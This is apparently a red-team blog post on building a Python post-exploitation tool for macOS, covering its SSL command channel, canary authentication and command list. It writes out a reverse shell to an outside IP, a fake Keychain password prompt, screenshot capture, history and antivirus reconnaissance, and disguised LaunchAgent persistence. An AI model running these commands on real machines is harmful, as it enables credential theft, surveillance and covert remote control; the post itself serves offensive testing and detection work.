My Journey Writing A Post Exploitation Tool for macOS


Why?

So why take the time to write my own post exploitation tool for macOS when there are several really cool and robust frameworks out?? Glad you asked! As an offensive security engineer I do enjoy leveraging the work of others where possible. That is how new tactics, techniques, and procedures are learned, spread, and expanded upon which is good for both offense and defense. However, there is another part of me that is not content with running tools without understanding the inner workings of how different tools and tactics actually work. This is the motivation that drives me to write my own tools (and specifically to take a stab at writing my own post exploitation tool for macOS). Additionally, due to having a lion’s share of the market volume in most organizations, the level of research and development around offensive techniques for Windows far surpasses the same for macOS (though some really good research is being done on the macOS side of the house). So, I decided to spend these efforts focusing on macOS.

Note: This post is focusing on the process I took to build the macOS post exploitation tool (which I named MacShell). I will write a separate post that will describe the tool in more detail and that will include a link to MacShell.


Overview

So since I was really interested in learning the process of creating a post exploitation tool for macOS, I started with the concept of a client-server script relationship, where the client would be the “infected” macOS device and the server would be the host that I am controlling the client from. Below is a simplified overview of the approach I decided to go with:

High Level Command and Control Concept

I decided to go with python as the coding language since python2 is inherent on macOS devices and since I use python regularly. I set the client script to be python2 using only python standard library modules for easy use and execution across any macOS endpoint and I used python3 on the server, since the server is a host that I control and I could easily install whatever I needed on the server (though I ended up using only standard library modules in the server script as well).

For encryption, I decided to go with SSL encrypted socket connections for a couple reasons:

  1. Limited time on my end and using encrypted sockets was pretty quick to set up.
  2. I thought using encrypted sockets would be a good way to validate detections/preventions. Most DNS monitoring and sink holing solutions rely on anomalies around domains (ex: domain age, lack of certain DNS records for the domain, domain blacklist match, etc.), and so using an encrypted socket to an IP address would be a way around these mechanisms. On the flip side, if an environment is monitoring suspicious connections to IP addresses (without domain name resolutions) using tools like Bro IDS, then this activity would be flagged. So I thought this would be a good test to see where detections/preventions landed with this approach.

This method I used is definitely not the only way to perform this task. This just happens to be the method I used. Several really neat toolkits are out that use other methods such as APIs for command and control.

Some of the things I wanted my server to command the client to perform:

  • execute OS shell commands
  • grab screenshots
  • download files
  • pop up a fake keychain prompt and ask the user to enter their password
  • navigate the file system
  • spawn an interactive shell and send to an IP:port
  • search bash history for interesting strings
  • search for endpoint antivirus and monitoring software
  • add and remove persistence

Good news for several of the “wish list” items above is that I could leverage the research done by other engineers in the industry. For example the I was able to leverage some of the osascript commands in the macphish tool by Paulino Calderon: https://github.com/cldrn/macphish/wiki/Osascript


An Inside Look

So now that I laid the foundation above in terms of my plans and goals, here is a look at what I came up with.

The built-in commands I added are available from the help menu:

Screenshot of help menu

Before we look at some parts of the code, here is a little bit more information on the concept that I decided to use for communications between the server and the client:

An example walking through the steps above:

Server:

  1. On the server, the operator types the word “screenshot” and hits enter.
  2. The server has a list of “if” conditions based on string matching and knows that if “screenshot” is the command entered by the operator, to send the following string over the encrypted socket connection to the client:
“screencapture -x -t jpg out.jpg”

Note: Screencapture is the macOS built-in command to perform a screenshot from the terminal. The -x option tells macOS to run this command quietly (without making the camera click noise) and the -t option specified what type of image to create from the screenshot (in this case a jpeg file).

3. The server sends the command string above to the client for execution.

Server-side code snippet showing this:

Code snippet showing how the server handles the Operator’s “screenshot” command

4. Client receives raw socket data and runs through a list of “if” conditions based on string matching. One of those “if”conditions is checking if the string “screencapture” is in the raw socket data just sent. If so, the client does the following:

  • Uses the python2 commands library to execute the command. Using this approach python will quickly spawn a shell, execute the command, close the shell, and return the results of the command: commands.getstatusoutput(“screencapture -x -t jpg out.jpg”)
  • I thought it would be good to validate that this approach is seen by blue, since this is a bit of a different approach than immediately spawning a reverse shell payload. This approach should be seen if parent-child process relationships are closely watched, but it is always good to verify that this visibility is indeed in place.
  • Then takes the newly created .jpg file, reads the data and sends it to the server:
  • Lastly the server gathers the data from the client (bytes for the screenshot) and writes it to a file

Client-side code snippet showing this:

Code snippet showing how the client processes the screenshot command

Note: the “!EOF!” string signifies to the server that the data transmission is complete. I will explain later why I needed to add this string.

This is the foundational communications concept I used between the server and client. Though the commands and aliases change, the same basis is used for the most part for all commands.

Below I will explain some other aspects.


Setting Up Encrypted Socket — Server Side

On the server, I executed the following openssl commands in preparation to use ssl:

  1. openssl req -new -newkey rsa:1024 -nodes -out ca.csr -keyout ca.key
  2. openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

Next I imported the python3 ssl and socket libraries in the server script (import socket, ssl) and then configured the python3 server script to use ssl with the following:

This allowed me to create an ssl wrapper around the python socket so that all communications to the server would be encrypted using the two ca files. Next I could then just have ssock (encrypted socket) listen on the server:

Going forward in the server script, I would reference all socket connections using ssock instead of s.

Setting Up Encrypted Socket — Client Side

Below is a screenshot from the client script showing the set up to use encrypted sockets:

Similar to what I did on the server script, I created an ssl wrapper named ssock to wrap around the python socket object named s. That allowed both the client and the server to communicate using encrypted sockets.


Ensuring Only ‘Authorized’ Clients Can Connect to the Server

So, once I had the server and client configured to use SSL and had the logic for the commands working, my next step was to figure out a simple way to restrict socket access so that only “authorized” clients can communicate with the server. The method I chose to do so is below:

After setting up socket ssl, the first thing I had the client do was send what I call a “canary string”. This is a string that I used as a means of authentication. The server will basically look for this string and if this string is received as the first socket data transmission after the connection is established, the server will move the client into the next part of the script (communication loop with the server). If the initial transmission does not have this string, the server will attempt to close the connection.

Here is what my implementation of this idea looks like:

Client:

The ssock.send(canary.encode(‘utf8’)) line sends the canary string (MacShellIzC00lz) to the server as bytes over ssl.

Server:

The server script looks for that canary string and if found proceeds to the next phase of the connection where a client thread is created to interact with that connection (this is where the server sends commands that the client accepts, executes, and returns the results of back to the server). Otherwise, the connection is closed.

While probably not the best solution for restricting access only to “authorized” clients, this was a quick method that worked for me.


Under The Hood: What Each Command Does

To recap, here is the help menu showing all of the commands/aliases I built into the server:

Below is a quick overview of what each command does in the background (useful info for detections):

  • systeminfo: Executes osascript -e ‘return (system info)’ on the client
  • list: Executes ls -alrt on the client
  • users: Executes dscl . list /Users | grep -v ‘^_’ | grep -v daemon | grep -v nobody | grep -v root on the client
  • addresses: Executes ifconfig | sed -En ‘s/127.0.0.1//;s/.*inet (addr:)?(([0–9]*\\.){3}[0–9]*).*/\\2/p’ on the client
  • lcwd: Executes pwd on the server
  • prompt: Executes osascript -e ‘set popup to display dialog “Keychain Access wants to use the login keychain” & return & return & “Please enter the keychain password” & return default answer ”” with icon file “Applications:Utilities:Keychain Access.app:Contents:Resources:AppIcon.icns” with title “Authentication Needed” with hidden answer””’ on the client

Here is a screenshot of what the pop-up looks like on the macOS client:

history: Executes cat ~/.bash_history | grep -E “[0–9].[0–9].[0–9].[0–9]|ssh|scp|ftp|sftp|vnc” on the client

  • clipboard: Executes osascript -e ‘return (the clipboard)’ on the client
  • checksecurity: Executes ps -eo command | egrep ‘CbOsxSensorService|CbDefense|ESET|snitch|xagt|falconctl|GlobalProtect|OpenDNS|HostChecker’ on the client
  • screenshot: Executes screencapture -x -t jpg out.jpg on the client
  • persist: Performs the following:

1. creates a hidden directory named .IT-provision in the user’s home folder (/Users/<user>/.IT-provision)

2. makes a copy of the client script, names it provision.py, and puts it in the hidden .IT-privision folder

3. Creates a plist named com.it.provision.plist that calls provision.py and puts this plist in ~/Library/LaunchAgents

4. Runs launchctl load com.it.provision.plist to load the plist

Here is a screenshot of the persist command code:

  • remove: Executes: a. launchctl unload com.it.provision.plist on the client, b. rm -rf /Users/<user>/.IT-provision on the client, and c. rm -f ~/Library/LaunchAgents/com.it.provision.plist on the client
  • shell [IP]:[port]: Executes bash -i>& /dev/tcp/[IP]/[port] 0>&1 on client

Lessons Learned

  1. When using python sockets to send large files, I tried a few different approaches and the only approach I could get to work was:

On sending end:

On receiving end:

The “!EOF!” string ended up being huge for me, as the sockets would often hang not knowing when the transmission was over. This provided a surefire way to get large data transmissions cleanly from a client over to a server without causing the transmission to hang (I had this hanging socket problem a lot for large files prior to trying this solution out).

2. When running the prompt command (see command reference above), even if I have a shell as a different user macOS will still pop up the fake authentication prompt for the current user logged in. In this instance, the command prompt will have a spinning icon for about 5 seconds and then it will work and send the password entered back to the server.

3. Writing your own tools is a good way to verify/validate detections. Creating your own tools gives you the opportunity to write code that you know will bypass endpoint detection and response tools as well as network protection solutions. Plus doing so is a helpful way to make sure that the blue team gets a different look and approach from time to time instead of always using popular toolsets. In the end this will help blue become less tool-centric with their detections and instead build detections that focus more on behaviors and tactics.

4. I have a new level of respect for the authors of various post exploitation toolkits that I have used in the past (EmPyre, Empire, Cobalt Strike, etc.). Sometimes it is easy to take how awesome these tools are for granted but taking the time to write my own has helped me see up close and personal just how awesome these tools are.

5. Creating your own offensive tools is fun! Using tools written by others is also great, but I personally enjoy the research and trial and error aspects of building my own and I feel like I have a greater appreciation for the work that has gone into several really cool post exploitation tools that I have used.

I hope you found this useful!